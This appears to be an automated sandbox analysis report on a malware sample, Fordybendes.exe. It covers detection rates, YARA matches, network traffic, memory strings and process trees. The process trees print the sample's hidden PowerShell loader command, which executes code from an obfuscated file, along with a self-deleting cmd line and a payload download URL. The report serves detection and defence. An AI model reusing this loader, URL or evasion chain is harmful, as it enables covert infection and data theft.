Source: wab.exe, 00000007.00000003.3148044488.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148198449.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148238012.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148132480.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3084484144.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kenkyo.x24.eu/wp-includes/ipfrjK171.binnW
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf
Source: wab.exe, 00000007.00000003.3148539827.0000000009B24000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: wab.exe, 00000007.00000003.3148539827.0000000009B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: wab.exe, 00000007.00000002.3211936901.00000000251B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf57
Source: wab.exe, 00000007.00000002.3211936901.00000000251B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf
Source: wab.exe, 00000007.00000003.3148539827.0000000009B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: powershell.exe, 00000002.00000002.2736182152.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62658
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62659
Source: unknown	Network traffic detected: HTTP traffic on port 62658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62659 -> 443

Source: unknown

HTTPS traffic detected: 5.255.110.9:443 -> 192.168.2.3:62658 version: TLS 1.2

Source: C:\Users\user\Desktop\Fordybendes.exe

Code function: 0_2_004054D9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004054D9

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.wab.exe.25b7acb1.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 7.2.wab.exe.25be6402.3.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 7.2.wab.exe.25b58cc4.4.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre\Fordybendes.exe

Jump to dropped file

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process Stats: CPU usage > 49%
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Fordybendes.exe

Code function: 0_2_004033A2 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrlenA,wsprintfA,GetFileAttributesA,DeleteFileA,SetCurrentDirectoryA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004033A2

Source: C:\Users\user\Desktop\Fordybendes.exe	Code function: 0_2_00406973	0_2_00406973
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_081E9A88	2_2_081E9A88
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_081E9A88	2_2_081E9A88
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08642750	2_2_08642750
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08641C68	2_2_08641C68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_086487B0	2_2_086487B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08640040	2_2_08640040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_086487A0	2_2_086487A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_086487B0	2_2_086487B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08647948	2_2_08647948
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0876C566	2_2_0876C566
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_081E0011	2_2_081E0011
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_081E0040	2_2_081E0040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_081ED8E8	2_2_081ED8E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_081ED8E4	2_2_081ED8E4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_081EB358	2_2_081EB358
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_081EB368	2_2_081EB368

Source: Fordybendes.exe

Static PE information: invalid certificate

Source: api-ms-win-core-profile-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-private-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.7.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.7.dr	Static PE information: No import functions for PE file found

Source: Fordybendes.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 7.2.wab.exe.25b7acb1.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 7.2.wab.exe.25be6402.3.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 7.2.wab.exe.25b58cc4.4.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@11/62@2/2

Source: C:\Users\user\Desktop\Fordybendes.exe

0_2_004033A2

Source: C:\Users\user\Desktop\Fordybendes.exe

Code function: 0_2_00404789 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_00404789

Source: C:\Users\user\Desktop\Fordybendes.exe

Code function: 0_2_00402198 CoCreateInstance,MultiByteToWideChar,

0_2_00402198

Source: C:\Users\user\Desktop\Fordybendes.exe

File created: C:\Users\user\AppData\Local\stagnantness

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7424:120:WilError_03
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Mutant created: \Sessions\1\BaseNamedObjects\AFA7A44E6-9414907A-57CDE79F-FAE66A72-2D96ED36
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5536:120:WilError_03

Source: C:\Users\user\Desktop\Fordybendes.exe

File created: C:\Users\user\AppData\Local\Temp\nsj475.tmp

Jump to behavior

Source: Fordybendes.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process

Source: C:\Users\user\Desktop\Fordybendes.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Fordybendes.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s;
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);

Source: Fordybendes.exe	ReversingLabs: Detection: 55%
Source: Fordybendes.exe	Virustotal: Detection: 62%

Source: C:\Users\user\Desktop\Fordybendes.exe

File read: C:\Users\user\Desktop\Fordybendes.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Fordybendes.exe "C:\Users\user\Desktop\Fordybendes.exe"
Source: C:\Users\user\Desktop\Fordybendes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
Source: C:\Users\user\Desktop\Fordybendes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior

Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fordybendes.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncryptsslp.dll	Jump to behavior
